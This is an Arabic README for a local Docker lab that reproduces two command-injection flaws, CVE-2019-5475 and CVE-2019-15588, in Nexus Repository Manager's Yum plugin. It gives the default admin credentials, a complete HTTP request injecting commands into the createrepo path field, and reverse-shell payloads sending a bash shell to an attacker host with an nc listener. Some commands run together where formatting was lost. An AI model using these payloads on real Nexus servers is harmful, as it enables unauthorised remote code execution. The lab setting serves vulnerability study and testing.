
CVE-2019-5475 ميدان تدريب: ثغرة حقن أوامر RCE
CVE-2019-5475 و CVE-2019-15588 ميدان الاختبار: ثغرة حقن أوامر RCE
CVE-2019-5475 هي ثغرة حقن أوامر RCE في Nexus تتعلق بالمكون الإضافي المدمج Yum Repository، وقد تم الكشف عنها لأول مرة في hackerone، ولكن نظرًا لأن الإصلاح الرسمي الأول لم يكن كاملاً، فقد نتج عنها ثغرة CVE-2019-15588.
تتطلب كلتا الثغرتين تسجيل الدخول كمسؤول (admin) لاستغلالهما، ولكن كلمة مرور المسؤول الافتراضية لـ Nexus (admin123) غالبًا ما تُترك دون تغيير، مما يسهل استغلالها.
CVE-2019-5475
├── nexus-yum-core .......... [مشروع Maven للتصحيح: يحاكي إدخال createrepo أو mergerepo في واجهة Nexus الرسومية]
├── nexus ................... [دليل تحميل بيانات حاوية Nexus]
├── attacker ................ [دليل بناء جهاز المهاجم]
│ └── Dockerfile .......... [ملف بناء Docker لجهاز المهاجم]
├── docker-compose.yml ...... [تكوين بناء Docker]
├── imgs .................... [صور مساعدة لشرح README]
└── README.md ............... [ملف README هذا]
cd CVE-2019-5475docker-compose up -dadmin/admin123)، حيث:| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
تم أيضًا إعداد جهاز مهاجم 172.168.50.2 في نفس بيئة الشبكة مع الجهازين المستهدفين، ويُستخدم للتحقق من الصدفة العكسية.
استخدم admin لتسجيل الدخول إلى http://127.0.0.1:8009/nexus/#capabilities، وستجد نقطة حقن RCE في Administration -> Capabilities -> Yum: Configuration -> Settings.
يمكن حقن الأوامر في حقلي الإدخال Path of "createrepo" و Path of "mergerepo"، ويمكن مشاهدة نتائج التنفيذ من Status.
على سبيل المثال، عن طريق إدخال PoC bash -c id || python في نقطة حقن createrepo، يمكن الحصول على نتيجة تنفيذ الأمر bash -c id وهي uid=200(nexus) gid=200(nexus) groups=200(nexus) من Status.
يمكن اعتراض طلب PoC المقابل باستخدام BurpSuite كالتالي:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


يمكن استغلال نقطة الحقن هذه بسهولة لإنشاء صدفة عكسية:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo المذكورة أعلاه، قم بإنشاء الحمولة: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
موقع الحقن هو نفسه لـ CVE-2019-5475، مع تعديل PoC إلى: /bin/bash -c id || /createrepo


يمكن استغلال هذه الثغرة بنفس طريقة الحصول على صدفة عكسية:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo، قم بإنشاء الحمولة: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core هو جزء الكود الأساسي في Nexus المتعلق باستغلال هذه الثغرة، ويُستخدم بشكل أساسي لتحليل وتصحيح الحمولة المدخلة مباشرة من الخلفية، دون الحاجة إلى بناء خدمة Nexus كاملة من المصدر.
